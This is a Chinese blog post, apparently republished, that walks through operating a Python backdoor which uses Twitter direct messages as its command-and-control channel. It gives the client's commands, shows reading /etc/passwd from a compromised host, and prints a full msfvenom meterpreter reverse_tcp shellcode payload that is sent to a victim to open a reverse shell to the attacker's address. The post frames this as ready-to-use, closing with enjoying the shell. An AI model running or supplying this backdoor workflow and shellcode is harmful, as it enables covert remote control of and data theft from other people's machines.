当Twitter成为一个功能齐全的后门C&C服务器

一个基于Python的隐匿后门可以将Twitter的私信作为命令和控制(C&C)服务器。这一项目显然是受到了Gcat后门使用Gmail账户作为C&C服务器的启发。

[[152431]]

设置

你需要做的准备工作:

·一个推特账户(建一个专用账户!千万不要使用你的个人推特!)

·在推特注册一个具有读取、编写以及直接信息权限的应用

安装依赖包:

$ pip install -r requirements.txt

repo包含以下两个文件:

·twittor.py 这个是客户端文件
·implant.py 要真正部署的后门文件

在这两个文件中,编辑访问TOKEN部分并添加一个你之前申请推特APP时生成的访问令牌:

CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'

这里简单说明一下,你可能想用Pyinstaller将implant.py编译为一个可执行程序,为了在使用Pyinstaller的时候移除控制台窗口,你可以使用 –noconsole –onefile 参数。

用法

启动脚本,开始运行客户端:

$ python twittor.py

你会进入一个提供了一些命令的“交互式”shenll:

$ help
 
    refresh - refresh C&C control
    list_bots - list active bots
    list_commands - list executed commands
    !retrieve <jobid> - retrieve jobid command
    !cmd <MAC ADDRESS> command - execute the command on the bot
    !shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
    help - print this usage
    exit - exit the client
 
$

·一旦你在一些系统上安装了后门,你就可以使用列表命令检查可用的客户端:

$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$

输出信息中用于标识肉鸡的唯一ID的是系统的MAC地址,同时也为你提供了正在运行已植入木马的操作系统信息。如图是一个Linux主机。

· 这里我们发出一个命令到已植入木马的主机:

!cmd B7:76:1F:0B:50:B7 cat /etc/passwd [+] Sent command "cat /etc/passwd" with jobid: UMW07r2 $

这里我们想让B7:76:1F:0B:50:B7 这台主机执行cat /etc/passwd 命令,输出信息中的jobid可以让用来检索命令输出结果。

· 现在我们要获取命令执行结果了!

!retrieve UMW07r2 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh (...)

在这种情况下使用!retrieve [jobid]命令就可以获取到命令执行结果。

·更新结果

为了获取新的肉鸡或命令输出信息,或者想强制客户端刷新命令执行结果,可以使用refresh命令。

$ refresh [+] Sending command to retrieve alive bots [+] Sleeping 10 secs to wait for bots $

使用refresh命令将会发送一个PING请求,等待回复(大约10秒左右)。私信消息被解析后,肉鸡列表和命令列表将会刷新,其中也包括输出命令。

·检索过去的命令

正如前面所说,(之前的)命令将会从老的私信消息进行检索(最多是200条),通过使用list_commands命令你便可以检索或者看到这些内容。

$ list_commands 8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1 VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1 9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1 aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1 8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1 $

·运行shellcode(Windows主机)

此选项可能是为了方便检索meterpreter会话,如果有兴趣可以看一下这篇文章,很有帮助。

创建你的meterpreter Shellcode,就像下面这样:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python(...)Payload size: 299 bytes buf =  ""buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

提取shellcode并使用!shellcode命令将其发送到指定的肉鸡。

!shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)[+] Sent shellcode with jobid: xdr7mtN $

看这里!

msf exploit(handler) > exploit   [*] Started reverse handler on 10.0.0.1:3615[*] Starting the payload handler...[*] Sending stage (884270 bytes) to 10.0.0.99[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400  meterpreter > getuid Server username: WIN-XXXXXXXXX\PaulSec

现在你可以开一瓶啤酒,开始享受反向meterpreter shell了。

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/143069.html<

(0)
运维的头像运维
上一篇2025-03-09 12:55
下一篇 2025-03-09 12:56

相关推荐

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注